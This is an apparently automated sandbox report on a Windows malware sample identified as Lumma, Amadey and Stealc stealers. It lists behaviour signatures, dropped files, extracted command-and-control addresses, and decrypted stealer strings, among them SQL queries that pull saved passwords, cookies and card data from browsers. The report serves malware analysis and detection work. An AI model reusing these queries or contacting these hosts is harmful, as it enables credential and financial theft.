Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546614
MD5: e372f8c0aeb01807b45e2d92883011ae
SHA1: 3cf8399a3501d9e94c88360849f61d93cabf114f
SHA256: e686f95db17d736d68c57ca703011ea016b74a29755fd75a54e76047faf617b0
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to detect virtual machines (SIDT)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000007.00000002.2005513502.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 32.0.num.exe.160000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 3e1d30d118.exe.7660.10.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe ReversingLabs: Detection: 95%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.8% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 32.0.num.exe.160000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 32.0.num.exe.160000.0.unpack String decryptor: 30
Source: 32.0.num.exe.160000.0.unpack String decryptor: 11
Source: 32.0.num.exe.160000.0.unpack String decryptor: 20
Source: 32.0.num.exe.160000.0.unpack String decryptor: 24
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetProcAddress
Source: 32.0.num.exe.160000.0.unpack String decryptor: LoadLibraryA
Source: 32.0.num.exe.160000.0.unpack String decryptor: lstrcatA
Source: 32.0.num.exe.160000.0.unpack String decryptor: OpenEventA
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateEventA
Source: 32.0.num.exe.160000.0.unpack String decryptor: CloseHandle
Source: 32.0.num.exe.160000.0.unpack String decryptor: Sleep
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetUserDefaultLangID
Source: 32.0.num.exe.160000.0.unpack String decryptor: VirtualAllocExNuma
Source: 32.0.num.exe.160000.0.unpack String decryptor: VirtualFree
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetSystemInfo
Source: 32.0.num.exe.160000.0.unpack String decryptor: VirtualAlloc
Source: 32.0.num.exe.160000.0.unpack String decryptor: HeapAlloc
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetComputerNameA
Source: 32.0.num.exe.160000.0.unpack String decryptor: lstrcpyA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetProcessHeap
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetCurrentProcess
Source: 32.0.num.exe.160000.0.unpack String decryptor: lstrlenA
Source: 32.0.num.exe.160000.0.unpack String decryptor: ExitProcess
Source: 32.0.num.exe.160000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetSystemTime
Source: 32.0.num.exe.160000.0.unpack String decryptor: SystemTimeToFileTime
Source: 32.0.num.exe.160000.0.unpack String decryptor: advapi32.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: gdi32.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: user32.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: crypt32.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: ntdll.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetUserNameA
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateDCA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetDeviceCaps
Source: 32.0.num.exe.160000.0.unpack String decryptor: ReleaseDC
Source: 32.0.num.exe.160000.0.unpack String decryptor: CryptStringToBinaryA
Source: 32.0.num.exe.160000.0.unpack String decryptor: sscanf
Source: 32.0.num.exe.160000.0.unpack String decryptor: VMwareVMware
Source: 32.0.num.exe.160000.0.unpack String decryptor: HAL9TH
Source: 32.0.num.exe.160000.0.unpack String decryptor: JohnDoe
Source: 32.0.num.exe.160000.0.unpack String decryptor: DISPLAY
Source: 32.0.num.exe.160000.0.unpack String decryptor: %hu/%hu/%hu
Source: 32.0.num.exe.160000.0.unpack String decryptor: http://185.215.113.206
Source: 32.0.num.exe.160000.0.unpack String decryptor: bksvnsj
Source: 32.0.num.exe.160000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 32.0.num.exe.160000.0.unpack String decryptor: /746f34465cf17784/
Source: 32.0.num.exe.160000.0.unpack String decryptor: tale
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetFileAttributesA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GlobalLock
Source: 32.0.num.exe.160000.0.unpack String decryptor: HeapFree
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetFileSize
Source: 32.0.num.exe.160000.0.unpack String decryptor: GlobalSize
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 32.0.num.exe.160000.0.unpack String decryptor: IsWow64Process
Source: 32.0.num.exe.160000.0.unpack String decryptor: Process32Next
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetLocalTime
Source: 32.0.num.exe.160000.0.unpack String decryptor: FreeLibrary
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetTimeZoneInformation
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetSystemPowerStatus
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetVolumeInformationA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 32.0.num.exe.160000.0.unpack String decryptor: Process32First
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetLocaleInfoA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetModuleFileNameA
Source: 32.0.num.exe.160000.0.unpack String decryptor: DeleteFileA
Source: 32.0.num.exe.160000.0.unpack String decryptor: FindNextFileA
Source: 32.0.num.exe.160000.0.unpack String decryptor: LocalFree
Source: 32.0.num.exe.160000.0.unpack String decryptor: FindClose
Source: 32.0.num.exe.160000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 32.0.num.exe.160000.0.unpack String decryptor: LocalAlloc
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetFileSizeEx
Source: 32.0.num.exe.160000.0.unpack String decryptor: ReadFile
Source: 32.0.num.exe.160000.0.unpack String decryptor: SetFilePointer
Source: 32.0.num.exe.160000.0.unpack String decryptor: WriteFile
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateFileA
Source: 32.0.num.exe.160000.0.unpack String decryptor: FindFirstFileA
Source: 32.0.num.exe.160000.0.unpack String decryptor: CopyFileA
Source: 32.0.num.exe.160000.0.unpack String decryptor: VirtualProtect
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetLastError
Source: 32.0.num.exe.160000.0.unpack String decryptor: lstrcpynA
Source: 32.0.num.exe.160000.0.unpack String decryptor: MultiByteToWideChar
Source: 32.0.num.exe.160000.0.unpack String decryptor: GlobalFree
Source: 32.0.num.exe.160000.0.unpack String decryptor: WideCharToMultiByte
Source: 32.0.num.exe.160000.0.unpack String decryptor: GlobalAlloc
Source: 32.0.num.exe.160000.0.unpack String decryptor: OpenProcess
Source: 32.0.num.exe.160000.0.unpack String decryptor: TerminateProcess
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetCurrentProcessId
Source: 32.0.num.exe.160000.0.unpack String decryptor: gdiplus.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: ole32.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: bcrypt.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: wininet.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: shlwapi.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: shell32.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: psapi.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: rstrtmgr.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 32.0.num.exe.160000.0.unpack String decryptor: SelectObject
Source: 32.0.num.exe.160000.0.unpack String decryptor: BitBlt
Source: 32.0.num.exe.160000.0.unpack String decryptor: DeleteObject
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateCompatibleDC
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdipGetImageEncoders
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdiplusStartup
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdiplusShutdown
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdipSaveImageToStream
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdipDisposeImage
Source: 32.0.num.exe.160000.0.unpack String decryptor: GdipFree
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetHGlobalFromStream
Source: 32.0.num.exe.160000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 32.0.num.exe.160000.0.unpack String decryptor: CoUninitialize
Source: 32.0.num.exe.160000.0.unpack String decryptor: CoInitialize
Source: 32.0.num.exe.160000.0.unpack String decryptor: CoCreateInstance
Source: 32.0.num.exe.160000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 32.0.num.exe.160000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 32.0.num.exe.160000.0.unpack String decryptor: BCryptDecrypt
Source: 32.0.num.exe.160000.0.unpack String decryptor: BCryptSetProperty
Source: 32.0.num.exe.160000.0.unpack String decryptor: BCryptDestroyKey
Source: 32.0.num.exe.160000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetWindowRect
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetDesktopWindow
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetDC
Source: 32.0.num.exe.160000.0.unpack String decryptor: CloseWindow
Source: 32.0.num.exe.160000.0.unpack String decryptor: wsprintfA
Source: 32.0.num.exe.160000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 32.0.num.exe.160000.0.unpack String decryptor: CharToOemW
Source: 32.0.num.exe.160000.0.unpack String decryptor: wsprintfW
Source: 32.0.num.exe.160000.0.unpack String decryptor: RegQueryValueExA
Source: 32.0.num.exe.160000.0.unpack String decryptor: RegEnumKeyExA
Source: 32.0.num.exe.160000.0.unpack String decryptor: RegOpenKeyExA
Source: 32.0.num.exe.160000.0.unpack String decryptor: RegCloseKey
Source: 32.0.num.exe.160000.0.unpack String decryptor: RegEnumValueA
Source: 32.0.num.exe.160000.0.unpack String decryptor: CryptBinaryToStringA
Source: 32.0.num.exe.160000.0.unpack String decryptor: CryptUnprotectData
Source: 32.0.num.exe.160000.0.unpack String decryptor: SHGetFolderPathA
Source: 32.0.num.exe.160000.0.unpack String decryptor: ShellExecuteExA
Source: 32.0.num.exe.160000.0.unpack String decryptor: InternetOpenUrlA
Source: 32.0.num.exe.160000.0.unpack String decryptor: InternetConnectA
Source: 32.0.num.exe.160000.0.unpack String decryptor: InternetCloseHandle
Source: 32.0.num.exe.160000.0.unpack String decryptor: InternetOpenA
Source: 32.0.num.exe.160000.0.unpack String decryptor: HttpSendRequestA
Source: 32.0.num.exe.160000.0.unpack String decryptor: HttpOpenRequestA
Source: 32.0.num.exe.160000.0.unpack String decryptor: InternetReadFile
Source: 32.0.num.exe.160000.0.unpack String decryptor: InternetCrackUrlA
Source: 32.0.num.exe.160000.0.unpack String decryptor: StrCmpCA
Source: 32.0.num.exe.160000.0.unpack String decryptor: StrStrA
Source: 32.0.num.exe.160000.0.unpack String decryptor: StrCmpCW
Source: 32.0.num.exe.160000.0.unpack String decryptor: PathMatchSpecA
Source: 32.0.num.exe.160000.0.unpack String decryptor: GetModuleFileNameExA
Source: 32.0.num.exe.160000.0.unpack String decryptor: RmStartSession
Source: 32.0.num.exe.160000.0.unpack String decryptor: RmRegisterResources
Source: 32.0.num.exe.160000.0.unpack String decryptor: RmGetList
Source: 32.0.num.exe.160000.0.unpack String decryptor: RmEndSession
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_open
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_step
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_column_text
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_finalize
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_close
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_column_bytes
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3_column_blob
Source: 32.0.num.exe.160000.0.unpack String decryptor: encrypted_key
Source: 32.0.num.exe.160000.0.unpack String decryptor: PATH
Source: 32.0.num.exe.160000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: NSS_Init
Source: 32.0.num.exe.160000.0.unpack String decryptor: NSS_Shutdown
Source: 32.0.num.exe.160000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 32.0.num.exe.160000.0.unpack String decryptor: PK11_FreeSlot
Source: 32.0.num.exe.160000.0.unpack String decryptor: PK11_Authenticate
Source: 32.0.num.exe.160000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 32.0.num.exe.160000.0.unpack String decryptor: C:\ProgramData\
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 32.0.num.exe.160000.0.unpack String decryptor: browser:
Source: 32.0.num.exe.160000.0.unpack String decryptor: profile:
Source: 32.0.num.exe.160000.0.unpack String decryptor: url:
Source: 32.0.num.exe.160000.0.unpack String decryptor: login:
Source: 32.0.num.exe.160000.0.unpack String decryptor: password:
Source: 32.0.num.exe.160000.0.unpack String decryptor: Opera
Source: 32.0.num.exe.160000.0.unpack String decryptor: OperaGX
Source: 32.0.num.exe.160000.0.unpack String decryptor: Network
Source: 32.0.num.exe.160000.0.unpack String decryptor: cookies
Source: 32.0.num.exe.160000.0.unpack String decryptor: .txt
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 32.0.num.exe.160000.0.unpack String decryptor: TRUE
Source: 32.0.num.exe.160000.0.unpack String decryptor: FALSE
Source: 32.0.num.exe.160000.0.unpack String decryptor: autofill
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 32.0.num.exe.160000.0.unpack String decryptor: history
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 32.0.num.exe.160000.0.unpack String decryptor: cc
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 32.0.num.exe.160000.0.unpack String decryptor: name:
Source: 32.0.num.exe.160000.0.unpack String decryptor: month:
Source: 32.0.num.exe.160000.0.unpack String decryptor: year:
Source: 32.0.num.exe.160000.0.unpack String decryptor: card:
Source: 32.0.num.exe.160000.0.unpack String decryptor: Cookies
Source: 32.0.num.exe.160000.0.unpack String decryptor: Login Data
Source: 32.0.num.exe.160000.0.unpack String decryptor: Web Data
Source: 32.0.num.exe.160000.0.unpack String decryptor: History
Source: 32.0.num.exe.160000.0.unpack String decryptor: logins.json
Source: 32.0.num.exe.160000.0.unpack String decryptor: formSubmitURL
Source: 32.0.num.exe.160000.0.unpack String decryptor: usernameField
Source: 32.0.num.exe.160000.0.unpack String decryptor: encryptedUsername
Source: 32.0.num.exe.160000.0.unpack String decryptor: encryptedPassword
Source: 32.0.num.exe.160000.0.unpack String decryptor: guid
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 32.0.num.exe.160000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 32.0.num.exe.160000.0.unpack String decryptor: cookies.sqlite
Source: 32.0.num.exe.160000.0.unpack String decryptor: formhistory.sqlite
Source: 32.0.num.exe.160000.0.unpack String decryptor: places.sqlite
Source: 32.0.num.exe.160000.0.unpack String decryptor: plugins
Source: 32.0.num.exe.160000.0.unpack String decryptor: Local Extension Settings
Source: 32.0.num.exe.160000.0.unpack String decryptor: Sync Extension Settings
Source: 32.0.num.exe.160000.0.unpack String decryptor: IndexedDB
Source: 32.0.num.exe.160000.0.unpack String decryptor: Opera Stable
Source: 32.0.num.exe.160000.0.unpack String decryptor: Opera GX Stable
Source: 32.0.num.exe.160000.0.unpack String decryptor: CURRENT
Source: 32.0.num.exe.160000.0.unpack String decryptor: chrome-extension_
Source: 32.0.num.exe.160000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 32.0.num.exe.160000.0.unpack String decryptor: Local State
Source: 32.0.num.exe.160000.0.unpack String decryptor: profiles.ini
Source: 32.0.num.exe.160000.0.unpack String decryptor: chrome
Source: 32.0.num.exe.160000.0.unpack String decryptor: opera
Source: 32.0.num.exe.160000.0.unpack String decryptor: firefox
Source: 32.0.num.exe.160000.0.unpack String decryptor: wallets
Source: 32.0.num.exe.160000.0.unpack String decryptor: %08lX%04lX%lu
Source: 32.0.num.exe.160000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 32.0.num.exe.160000.0.unpack String decryptor: ProductName
Source: 32.0.num.exe.160000.0.unpack String decryptor: x32
Source: 32.0.num.exe.160000.0.unpack String decryptor: x64
Source: 32.0.num.exe.160000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 32.0.num.exe.160000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 32.0.num.exe.160000.0.unpack String decryptor: ProcessorNameString
Source: 32.0.num.exe.160000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 32.0.num.exe.160000.0.unpack String decryptor: DisplayName
Source: 32.0.num.exe.160000.0.unpack String decryptor: DisplayVersion
Source: 32.0.num.exe.160000.0.unpack String decryptor: Network Info:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - IP: IP?
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Country: ISO?
Source: 32.0.num.exe.160000.0.unpack String decryptor: System Summary:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - HWID:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - OS:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Architecture:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - UserName:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Computer Name:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Local Time:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - UTC:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Language:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Keyboards:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Laptop:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Running Path:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - CPU:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Threads:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Cores:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - RAM:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - Display Resolution:
Source: 32.0.num.exe.160000.0.unpack String decryptor: - GPU:
Source: 32.0.num.exe.160000.0.unpack String decryptor: User Agents:
Source: 32.0.num.exe.160000.0.unpack String decryptor: Installed Apps:
Source: 32.0.num.exe.160000.0.unpack String decryptor: All Users:
Source: 32.0.num.exe.160000.0.unpack String decryptor: Current User:
Source: 32.0.num.exe.160000.0.unpack String decryptor: Process List:
Source: 32.0.num.exe.160000.0.unpack String decryptor: system_info.txt
Source: 32.0.num.exe.160000.0.unpack String decryptor: freebl3.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: mozglue.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: msvcp140.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: nss3.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: softokn3.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: vcruntime140.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Temp\
Source: 32.0.num.exe.160000.0.unpack String decryptor: .exe
Source: 32.0.num.exe.160000.0.unpack String decryptor: runas
Source: 32.0.num.exe.160000.0.unpack String decryptor: open
Source: 32.0.num.exe.160000.0.unpack String decryptor: /c start
Source: 32.0.num.exe.160000.0.unpack String decryptor: %DESKTOP%
Source: 32.0.num.exe.160000.0.unpack String decryptor: %APPDATA%
Source: 32.0.num.exe.160000.0.unpack String decryptor: %LOCALAPPDATA%
